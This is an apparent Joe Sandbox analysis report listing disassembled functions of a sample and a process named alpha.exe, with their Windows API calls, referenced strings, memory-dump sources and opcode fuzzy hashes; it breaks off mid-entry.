Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateFileHeapModuleNameValuememmovewcscmp
String ID: \\?\
API String ID: 2309408642-4282027825
Opcode ID: 4647b580265c0145cb53452cd045566aab0e6573de3ebb33f2025e25eda63a47
Instruction ID: d9f8f264266041fd0450fbf5fddac35174bfa4872681c7093a6bedb058d4d6d6
Opcode Fuzzy Hash: 4647b580265c0145cb53452cd045566aab0e6573de3ebb33f2025e25eda63a47
Instruction Fuzzy Hash: 36F082B31007017BD2106777EC89CAB7F6CEB953B47500A3FF915D25D1EA39982486B8

Function 0040D288 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00409825), ref: 0040D28F
RtlAllocateHeap.NTDLL(00000008), ref: 0040D2AA
TlsSetValue.KERNEL32(00000000,?,?,00409825), ref: 0040D2B9

Strings

zJ, xrefs: 0040D2E3

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Value$AllocateHeap
String ID: zJ
API String ID: 4003031417-2817043822
Opcode ID: b6fa0aa91cfb2dda7c355575a8d23ae573fcd81ff672684e9cee781b12038817
Instruction ID: 16796b595869507936613635a6341ddf17832f1f70e812bebed35ae43026f1bf
Opcode Fuzzy Hash: b6fa0aa91cfb2dda7c355575a8d23ae573fcd81ff672684e9cee781b12038817
Instruction Fuzzy Hash: 15F06D36644600ABCA264B5AFC08E973B76EBC0770305883EF946A32A0CB34EC44CA1C

Function 0040B1D6 Relevance: 6.3, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B277
memset.MSVCRT ref: 0040B280
memset.MSVCRT ref: 0040B289
memset.MSVCRT ref: 0040B296
memset.MSVCRT ref: 0040B2A2

Part of subcall function 0040C5D6: memcpy.MSVCRT ref: 0040C630
Part of subcall function 0040C5D6: memcpy.MSVCRT ref: 0040C67F

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8039a587939ac30c6fc37cd8e94445a8ac57574f9db84ba66d1265f83776addf
Instruction ID: d1c0989406727a65e9950a574f083ae989d166c781cac5fdd553c274dd2af307
Opcode Fuzzy Hash: 8039a587939ac30c6fc37cd8e94445a8ac57574f9db84ba66d1265f83776addf
Instruction Fuzzy Hash: D821F1317507082BE124AA29DC86F9F738CDB81708F40063EF201FA1C1CAB9F54546AE

Function 00405B40 Relevance: 6.2, APIs: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 00405C0A
wcsncpy.MSVCRT ref: 00405C60

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateHeapwcsncpy
String ID:
API String ID: 1358295784-0
Opcode ID: abfa07bf7e2ff51294c19b5adc2ec100302e178060cdb4fdf4646927b08b7264
Instruction ID: cb064e81f22c81d64e764a7bfd7558cc4db0c0b6a5bd9f26a61017110445664c
Opcode Fuzzy Hash: abfa07bf7e2ff51294c19b5adc2ec100302e178060cdb4fdf4646927b08b7264
Instruction Fuzzy Hash: 2151DE305087059BDB209F28D844A6BB7F4FF84348F544A2EFC45A72D0E778E915CB9A

Function 0040D51F Relevance: 6.1, APIs: 4, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 0040D533
RtlAllocateHeap.NTDLL(00000000,?), ref: 0040D5E8
RtlAllocateHeap.NTDLL(00000000,?), ref: 0040D60B
RtlLeaveCriticalSection.NTDLL(?), ref: 0040D663

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateCriticalHeapSection$EnterLeave
String ID:
API String ID: 3625150316-0
Opcode ID: 0f8299d0d3399f2ca5afc87431ff6ccb2b075c5558c85bef442be39d80f1af25
Instruction ID: c75203acf5dbc6b13cd53f4330a4279d02754d6c9a51f963ab4d277c9f4d2c3e
Opcode Fuzzy Hash: 0f8299d0d3399f2ca5afc87431ff6ccb2b075c5558c85bef442be39d80f1af25
Instruction Fuzzy Hash: 67510570900B02AFC324CF69D980922B7F4FF587147108A3EE8AA97A94D335F959CB94

Function 00406610 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 00406636
CharLowerW.USER32(00000000), ref: 00406670
CharLowerW.USER32(?), ref: 0040669F
CharLowerW.USER32(?), ref: 004066A5

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: 66c029c88698f590c27d8ad2e0cedff0409db7e2b7cc0c33a88c903db2356ffd
Instruction ID: 85927fc96f9716e1d1e6d5b1ddc4ac0db90fb70db8c0b3b43891102a4ed5054c
Opcode Fuzzy Hash: 66c029c88698f590c27d8ad2e0cedff0409db7e2b7cc0c33a88c903db2356ffd
Instruction Fuzzy Hash: 3A215775A043198BC710EF59A840477B7E4EB80761F46087AFC85A3380D63AEE199BB9

Function 00409FE3 Relevance: 6.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040A04B
RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 0040A061
wcscpy.MSVCRT ref: 0040A06C
memset.MSVCRT ref: 0040A09A

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateHeapmemsetwcscpywcslen
String ID:
API String ID: 2037025450-0
Opcode ID: 60b0d08681e9ec0db2ddeea0910c20863a20b1ea765bcf14a5cb697a1bcb1fc5
Instruction ID: 6837a03683538e1df5e2bdda5e350eaa22186be17e149c7482ea07580a24f61f
Opcode Fuzzy Hash: 60b0d08681e9ec0db2ddeea0910c20863a20b1ea765bcf14a5cb697a1bcb1fc5
Instruction Fuzzy Hash: 2F21F732400B04AFC331AF259881B67B7F5EF88318F14453FFA4562692D739A8148B1E

Function 00409D80 Relevance: 6.1, APIs: 4, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,?,?,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E9A
Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409EA6
Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,?,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409EBA
Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,00000000,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409ED0

RtlAllocateHeap.NTDLL(00000000,0000003C,00000200), ref: 00409D9F
RtlAllocateHeap.NTDLL(00000008,00000015), ref: 00409DC5
RtlAllocateHeap.NTDLL(00000008,FFFFFFED,FFFFFFED), ref: 00409E22
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E3C

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Heap$Free$Allocate
String ID:
API String ID: 3472947110-0
Opcode ID: ccb60d0c3c0d97d686ede39e266302f74ea26cab0db78b650e52f4041141fcd5
Instruction ID: 0e5c90150bc367b96ffc2f2020c4fe6cd7e8dd6a87ef93d6b65d9b762928b75a
Opcode Fuzzy Hash: ccb60d0c3c0d97d686ede39e266302f74ea26cab0db78b650e52f4041141fcd5
Instruction Fuzzy Hash: 66216D71644711ABD3118F2ADD01B46BBE8FF48750F40812AB608E7691D770EC65CB98

Function 0040E0D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040E0E5
RtlAllocateHeap.NTDLL(?,00000000,0000000A), ref: 0040E109
RtlReAllocateHeap.NTDLL(?,00000000,00000000,0000000A), ref: 0040E12D
HeapFree.KERNEL32(?,00000000), ref: 0040E164

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Heap$Allocate$Freewcslen
String ID:
API String ID: 584413571-0
Opcode ID: d10227275c7b6081de2ee05023da87eadddda2e83e478cb8004c91b3b4e22bf4
Instruction ID: 5c25edb19946727406606906c76980e1d10e687976c030b77a126e3da493f9c6
Opcode Fuzzy Hash: d10227275c7b6081de2ee05023da87eadddda2e83e478cb8004c91b3b4e22bf4
Instruction Fuzzy Hash: BD212774604209EFDB04CF94D884FAAB7BAFB48354F108569F9099F390D735EA41CB94

Function 00411E80 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0040D058,00000000), ref: 00411EB4
malloc.MSVCRT ref: 00411EC4
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000), ref: 00411EE1
malloc.MSVCRT ref: 00411EF6

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: f99b9e9cc375a0f51ee550c492f080850f9660593670d0a959cc873830a669a1
Instruction ID: da1f4c5307a9808d3c7f8614f95932c7effa64efca2e052dfed00f08d58b5d3d
Opcode Fuzzy Hash: f99b9e9cc375a0f51ee550c492f080850f9660593670d0a959cc873830a669a1
Instruction Fuzzy Hash: FE012E3734030227E32066A6AC02FE77B49CB85B95F19407AFF005E2C1CAA3A8008A79

Function 00411F20 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00411F51
malloc.MSVCRT ref: 00411F61
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00411F7B
malloc.MSVCRT ref: 00411F90

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 5325b0ad4490700c2010cf27b2c704082c058671d9b3d0b05cc6651335db68c7
Instruction ID: 2143df0fa8f9e7073c9e362d0ea50869445b156f554053f4d5fb65981249776a
Opcode Fuzzy Hash: 5325b0ad4490700c2010cf27b2c704082c058671d9b3d0b05cc6651335db68c7
Instruction Fuzzy Hash: AE01643738030037E3204A95AC02FA77B4DCBC5B95F19407AFB005E2C6CBB3A8018AB8

Function 0040D438 Relevance: 6.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00000020), ref: 0040D443
RtlReAllocateHeap.NTDLL(00000008,?,?), ref: 0040D483
RtlLeaveCriticalSection.NTDLL(00000020), ref: 0040D4BE

Part of subcall function 0040DB12: RtlAllocateHeap.NTDLL(00000008,00000000,0040D38C), ref: 0040DB1E

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateCriticalHeapSection$EnterLeave
String ID:
API String ID: 3625150316-0
Opcode ID: be2f1553c835898b8f41ca660172eefbe6af4dd5fd6a89ea98a49a40f9a2ae85
Instruction ID: a304a92e3806a45bcf6d327fe86cdfb5e6d5534298f9acb62e815e22c79c963c
Opcode Fuzzy Hash: be2f1553c835898b8f41ca660172eefbe6af4dd5fd6a89ea98a49a40f9a2ae85
Instruction Fuzzy Hash: 30112B32604700AFC3208FA8EC40D56B7FAFF58765B15892AE996E36A0C734F804CB65

Function 00408E54 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00408EAA
RtlAllocateHeap.NTDLL(00000000), ref: 00408EBF
GetWindowTextW.USER32(00000000,00000001), ref: 00408ECF
UnregisterClassW.USER32 ref: 00408EF3

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: TextWindow$AllocateClassHeapLengthUnregister
String ID:
API String ID: 1576658079-0
Opcode ID: ceb989c364a64a77ca9268f30e2f22e8c5aea8804ddba6594e2583a28b0bbdfa
Instruction ID: f973f4e0a74c58c8f3dc6b35f62902cd2ce24d79b6cf0357400b1c80f0f6dd69
Opcode Fuzzy Hash: ceb989c364a64a77ca9268f30e2f22e8c5aea8804ddba6594e2583a28b0bbdfa
Instruction Fuzzy Hash: 5011CE3100821AFBCB116F64FD0C9AA3F66EB18395B11C03AF949A22F4DA799951DB58

Function 0040D67D Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00000020), ref: 0040D68F
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D95E,00000000,00000000,?,00409E88,?,00000200,?,?,00409D8F,00000200), ref: 0040D6A6
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D95E,00000000,00000000,?,00409E88,?,00000200,?,?,00409D8F,00000200), ref: 0040D6C2
RtlLeaveCriticalSection.NTDLL(00000020), ref: 0040D6DF

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 53ceed24bb8d2d46dd7a9e67fb8799a8add0012f463c06b4e215cdce4978a367
Instruction ID: ccb09d183470463af25dc63fc94d1cebb037c249e32c06969674a21ae1653042
Opcode Fuzzy Hash: 53ceed24bb8d2d46dd7a9e67fb8799a8add0012f463c06b4e215cdce4978a367
Instruction Fuzzy Hash: BF017C75A0261AEFC7108F95E904967BBBCFF08750301843AE80897654C731E864CFE8

Function 00405436 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004053EA: RtlEnterCriticalSection.NTDLL(004176A0), ref: 004053F5
Part of subcall function 004053EA: RtlLeaveCriticalSection.NTDLL(004176A0), ref: 00405428

TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405446
RtlEnterCriticalSection.NTDLL(004176A0), ref: 00405452
CloseHandle.KERNEL32(?,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000), ref: 00405472
RtlLeaveCriticalSection.NTDLL(004176A0), ref: 00405486

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseHandleTerminateThread
String ID:
API String ID: 1388343586-0
Opcode ID: cbc7e9082fcaf871cf348277c49422a471ffdcec75b7c0d4283b3ed47ece0408
Instruction ID: e82d31de5584acb3c1822b09e6e690cbeb5bd259d621742d6e77904c892493b9
Opcode Fuzzy Hash: cbc7e9082fcaf871cf348277c49422a471ffdcec75b7c0d4283b3ed47ece0408
Instruction Fuzzy Hash: D4F0BE36904710EBC2205F60AC48BEB7B68EB44763726843BF80273190C738AC808E6E

Function 004096DA Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 0040D288: TlsGetValue.KERNEL32(?,00409825), ref: 0040D28F
Part of subcall function 0040D288: RtlAllocateHeap.NTDLL(00000008), ref: 0040D2AA
Part of subcall function 0040D288: TlsSetValue.KERNEL32(00000000,?,?,00409825), ref: 0040D2B9

GetCommandLineW.KERNEL32(?,?,?,?,?,?,00409838,00000000), ref: 004096F4

Strings

, xrefs: 0040970E
", xrefs: 00409716

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Value$AllocateCommandHeapLine
String ID: $"
API String ID: 565049335-3817095088
Opcode ID: f04578b7f77a2c145e5ce34ae7d790eae5d8f223c8674fef185d65dfd3ed14c9
Instruction ID: 4c648ba0253d95f00ea60fdf00931512a06ba22242bcbe44c620df30a2d3858e
Opcode Fuzzy Hash: f04578b7f77a2c145e5ce34ae7d790eae5d8f223c8674fef185d65dfd3ed14c9
Instruction Fuzzy Hash: 6031A473525221CADB749F24981137772A1EBB1B60F18817FE8926B3C2F37D8D419359

Function 00409E6F Relevance: 5.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A0BA: memset.MSVCRT ref: 0040A122

Part of subcall function 0040D8E6: RtlEnterCriticalSection.NTDLL(0041761C), ref: 0040D8FA
Part of subcall function 0040D8E6: HeapFree.KERNEL32(00000000,?,?,00409E88,?,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D948
Part of subcall function 0040D8E6: RtlLeaveCriticalSection.NTDLL(0041761C), ref: 0040D94F

HeapFree.KERNEL32(00000000,?,?,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E9A
HeapFree.KERNEL32(00000000,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409EA6
HeapFree.KERNEL32(00000000,?,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409EBA
HeapFree.KERNEL32(00000000,00000000,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409ED0

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2e2b091367acf3d98793c74670de9e011cac5a97bd1a707a8857b69d5b2dd878
Instruction ID: bfb960cb52ae9f1737c5edf5dab89cb24d0a80b98fb865d44a1203debf2c4dae
Opcode Fuzzy Hash: 2e2b091367acf3d98793c74670de9e011cac5a97bd1a707a8857b69d5b2dd878
Instruction Fuzzy Hash: 40F0FF31205609BFC6126F5AED40D57BF7DFF5A7983464136B404626B0C732EC619AA8

Analysis Process: alpha.exePID: 5884, Parent PID: 3960COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	692
Total number of Limit Nodes:	8

Executed Functions

Function 00007FF64B56AA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64B56CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDA6
Part of subcall function 00007FF64B56CD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDBD

wcschr.MSVCRT ref: 00007FF64B56AAB6
towlower.MSVCRT ref: 00007FF64B56AAD5
memset.MSVCRT ref: 00007FF64B56AC27
wcschr.MSVCRT ref: 00007FF64B56AC3C
wcschr.MSVCRT ref: 00007FF64B56AC60
wcsrchr.MSVCRT ref: 00007FF64B56AC9B
wcschr.MSVCRT ref: 00007FF64B56AD82
wcschr.MSVCRT ref: 00007FF64B56AD9D
wcschr.MSVCRT ref: 00007FF64B56ADB8
wcschr.MSVCRT ref: 00007FF64B56ADD3
wcschr.MSVCRT ref: 00007FF64B56ADEE
wcschr.MSVCRT ref: 00007FF64B56AE09
iswspace.MSVCRT ref: 00007FF64B56AE30

Strings

:, xrefs: 00007FF64B57BCFE
:, xrefs: 00007FF64B57BC86
OFF, xrefs: 00007FF64B57BC32, 00007FF64B57BC92, 00007FF64B57BD0A
:, xrefs: 00007FF64B57BC26
:ON, xrefs: 00007FF64B57BD37

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocateProcessiswspacememsettowlowerwcsrchr
String ID: :$:$:$:ON$OFF
API String ID: 4076514806-467788257
Opcode ID: ec77655612b2197603e506f96a5fdd07df98b32b07624a2fc81e4f2603e93a28
Instruction ID: 062c506042b733e88d80f67e0759bc8add7f2d9b9b7fe230d8a2f9887a20aec4
Opcode Fuzzy Hash: ec77655612b2197603e506f96a5fdd07df98b32b07624a2fc81e4f2603e93a28
Instruction Fuzzy Hash: A4229F61B0C68286FA6CBF25D514278F6A1EF4DB81F489035CA2EC73B6DF7CA8458350

Function 00007FF64B5751EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64B575508: GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF64B566F97), ref: 00007FF64B57550C

GetLocaleInfoW.KERNELBASE ref: 00007FF64B575237
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575260
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5752AB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5752F7
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575335
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575360
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575388
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5753B0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5753D8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575400
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575428
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575450
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B575478
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5754A0
setlocale.MSVCRT ref: 00007FF64B5754BD

Strings

Mon, xrefs: 00007FF64B57EFF2
Sat, xrefs: 00007FF64B57F141
.OCP, xrefs: 00007FF64B5754B4
yy/MM/dd, xrefs: 00007FF64B57EF8D
Tue, xrefs: 00007FF64B57F035
MM/dd/yy, xrefs: 00007FF64B5752D0
Wed, xrefs: 00007FF64B57F078
Fri, xrefs: 00007FF64B57F0FE
Sun, xrefs: 00007FF64B57F184
dd/MM/yy, xrefs: 00007FF64B57EFA3
Thu, xrefs: 00007FF64B57F0BB

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: InfoLocale$DefaultLangUsersetlocale
String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 2492766124-2236139042
Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction ID: 44832ff68be2c04480b7a2949da4b05ee376eee70333b5088dc7bf236cedd6ed
Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction Fuzzy Hash: D1F14861B0C78285EA29BF15E9102B9B6A5FF0CB80F948135CA2D977B6EF7CE505C350

Function 00007FF64B575554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

